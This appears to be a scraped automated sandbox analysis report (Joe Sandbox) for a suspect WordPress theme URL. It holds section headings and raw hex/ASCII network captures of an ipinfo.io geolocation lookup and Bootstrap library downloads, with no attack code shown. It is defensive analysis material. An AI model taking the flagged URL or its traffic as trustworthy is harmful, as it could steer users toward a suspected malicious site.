Jun 10, 2024 00:38:21.936974049 CEST	1236	IN	Data Raw: 9b 7f 27 0a b2 66 11 32 6a 0a e3 f7 25 90 b2 78 49 99 b2 94 26 7c e6 d5 32 8f e8 be 82 67 a3 5e 42 61 1d 8c 72 c9 e7 3a 38 79 d7 d8 68 8e e3 3a f9 17 de 1e 0a c5 39 cb c2 e7 fb 82 73 ff f7 39 ce e0 d3 69 ad 1c 06 f4 f2 9c 40 49 1f f5 7f 83 f1 ac Data Ascii: 'f2j%xI&\|2g^Bar:8yh:9s9i@I1LFFy(_B==w_(JN5qXBO# 78M'Sk?\|O8bv"g<:vI'^3TOy4vH{

Timestamp	Bytes transferred	Direction	Data
2024-06-09 22:38:07 UTC	59	OUT	GET / HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
2024-06-09 22:38:07 UTC	513	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Sun, 09 Jun 2024 22:38:07 GMT content-type: application/json; charset=utf-8 Content-Length: 314 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-06-09 22:38:07 UTC	314	IN	Data Raw: 7b 0a 20 20 22 69 70 22 3a 20 22 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 31 22 2c 0a 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 31 2e 73 74 61 74 69 63 2e 71 75 61 64 72 61 6e 65 74 2e 63 6f 6d 22 2c 0a 20 20 22 63 69 74 79 22 3a 20 22 44 61 6c 6c 61 73 22 2c 0a 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 54 65 78 61 73 22 2c 0a 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 22 6c 6f 63 22 3a 20 22 33 32 2e 38 31 35 32 2c 2d 39 36 2e 38 37 30 33 22 2c 0a 20 20 22 6f 72 67 22 3a 20 22 41 53 38 31 30 30 20 51 75 61 64 72 61 4e 65 74 20 45 6e 74 65 72 70 72 69 73 65 73 20 4c 4c 43 22 2c 0a 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 37 35 32 34 37 22 2c 0a 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 41 6d 65 72 Data Ascii: { "ip": "173.254.250.91", "hostname": "173.254.250.91.static.quadranet.com", "city": "Dallas", "region": "Texas", "country": "US", "loc": "32.8152,-96.8703", "org": "AS8100 QuadraNet Enterprises LLC", "postal": "75247", "timezone": "Amer

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://aimsvn.za.com/wp-content/themes/musuem/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 54

Chrome Cache Entry: 55

Chrome Cache Entry: 56

Chrome Cache Entry: 57

Chrome Cache Entry: 58

Chrome Cache Entry: 59

Chrome Cache Entry: 60

Chrome Cache Entry: 61

Chrome Cache Entry: 62

Chrome Cache Entry: 63

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Static File Info

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
http://aimsvn.za.com/wp-content/themes/musuem/

Timestamp	Bytes transferred	Direction	Data
2024-06-09 22:38:19 UTC	557	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://aimsvn.za.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-09 22:38:19 UTC	946	IN	HTTP/1.1 200 OK Date: Sun, 09 Jun 2024 22:38:19 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-ProxyVer: 1.03 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 12/08/2022 21:02:39 CDN-EdgeStorageId: 871 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: 7234b26822f9dfc4ef4bddd540bb9d13 CDN-Cache: HIT CF-Cache-Status: HIT Age: 8379512 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 89149c7c8ff26b17-DFW alt-svc: h3=":443"; ma=86400
2024-06-09 22:38:19 UTC	423	IN	Data Raw: 37 63 30 31 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7c01/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2024-06-09 22:38:19 UTC	1369	IN	Data Raw: 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 69 2e 6b 65 79 2c 69 Data Ascii: ery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i
2024-06-09 22:38:19 UTC	1369	IN	Data Raw: 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 65 29 7d 2c 74 29 2c 74 68 69 73 7d 76 61 72 20 6c 3d 7b 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 3a 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 67 65 74 55 49 44 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 3b 74 2b Data Ascii: n,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n\|\|l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUID:function(t){for(;t+
2024-06-09 22:38:19 UTC	1369	IN	Data Raw: 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 63 6c 6f 73 65 3d 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: guments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",g="show",_=function(){function i(t){this._element=t}var t=i.prototype;return t.close=function(t
2024-06-09 22:38:19 UTC	1369	IN	Data Raw: 20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 79 3d 22 2e 22 2b 28 76 3d 22 62 73 2e 62 75 74 74 6f 6e 22 29 2c 45 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 3d 28 6d 3d 65 29 2e 66 6e 5b 70 5d 2c 54 3d 22 61 63 74 69 76 65 22 2c 62 3d 22 62 74 6e 22 2c 49 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 5e 3d 22 62 75 74 74 6f 6e 22 5d 27 2c 41 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 3d 22 62 75 Data Ascii: _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryInterface},_),Mn=(p="button",y="."+(v="bs.button"),E=".data-api",C=(m=e).fn[p],T="active",b="btn",I='[data-toggle^="button"]',A='[data-toggle="bu
2024-06-09 22:38:19 UTC	1369	IN	Data Raw: 29 3b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 28 74 2e 74 61 72 67 65 74 29 2e 63 6c 6f 73 65 73 74 28 4e 29 5b 30 5d 3b 6d 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 53 2c 2f 5e 66 6f 63 75 73 28 69 6e 29 3f 24 2f 2e 74 65 73 74 28 74 2e 74 79 70 65 29 29 7d 29 2c 6d 2e 66 6e 5b 70 5d 3d 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 6d 2e 66 6e 5b 70 5d 2e 43 6f 6e Data Ascii: );var e=t.target;m(e).hasClass(b)\|\|(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,I,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(S,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQueryInterface,m.fn[p].Con
2024-06-09 22:38:19 UTC	1369	IN	Data Raw: 6c 65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 22 68 69 64 64 65 6e 22 21 3d 3d 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 76 69 73 69 62 69 6c 69 74 79 22 29 26 26 74 68 69 73 2e 6e 65 78 74 28 29 7d 2c 74 2e Data Ascii: lector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding\|\|this._slide(q)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibility")&&this.next()},t.
2024-06-09 22:38:19 UTC	1369	IN	Data Raw: 74 3d 6c 28 7b 7d 2c 57 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 6b 65 79 64 6f 77 6e 28 74 29 7d 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 28 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 45 4e 54 45 52 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 Data Ascii: t=l({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTER,function(t){return
2024-06-09 22:38:19 UTC	1369	IN	Data Raw: 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 5b 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 5d 3b 6e 26 26 50 28 6e 29 2e 61 64 64 43 6c 61 73 73 28 56 29 7d 7d 2c 74 2e 5f 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 69 2c 72 2c 6f 3d 74 68 69 73 2c 73 3d 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 Data Ascii: (this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this,s=this._element.quer
2024-06-09 22:38:19 UTC	1369	IN	Data Raw: 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 66 28 6e 26 26 50 28 6e 29 2e 68 61 73 43 6c 61 73 73 28 42 29 Data Ascii: ing"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];if(n&&P(n).hasClass(B)

Timestamp	Bytes transferred	Direction	Data
2024-06-09 22:38:19 UTC	554	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://aimsvn.za.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-09 22:38:19 UTC	946	IN	HTTP/1.1 200 OK Date: Sun, 09 Jun 2024 22:38:19 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 10/31/2023 18:51:41 CDN-EdgeStorageId: 845 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: 6d508af260410c2c2a36e3a1cdbed504 CDN-Cache: HIT CF-Cache-Status: HIT Age: 8395628 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 89149c7c9bbe6c82-DFW alt-svc: h3=":443"; ma=86400
2024-06-09 22:38:19 UTC	423	IN	Data Raw: 37 63 30 31 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7c01/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2024-06-09 22:38:19 UTC	1369	IN	Data Raw: 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 69 2e 6b 65 79 2c 69 29 Data Ascii: ry","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)
2024-06-09 22:38:19 UTC	1369	IN	Data Raw: 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 6c 65 6d 65 6e 74 28 6f 29 3f 22 65 6c 65 6d 65 6e 74 22 3a 28 Data Ascii: gger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isElement(o)?"element":(
2024-06-09 22:38:19 UTC	1369	IN	Data Raw: 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 29 7d 2c 65 2e 5f 64 Data Ascii: return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._destroyElement(t)},e._d
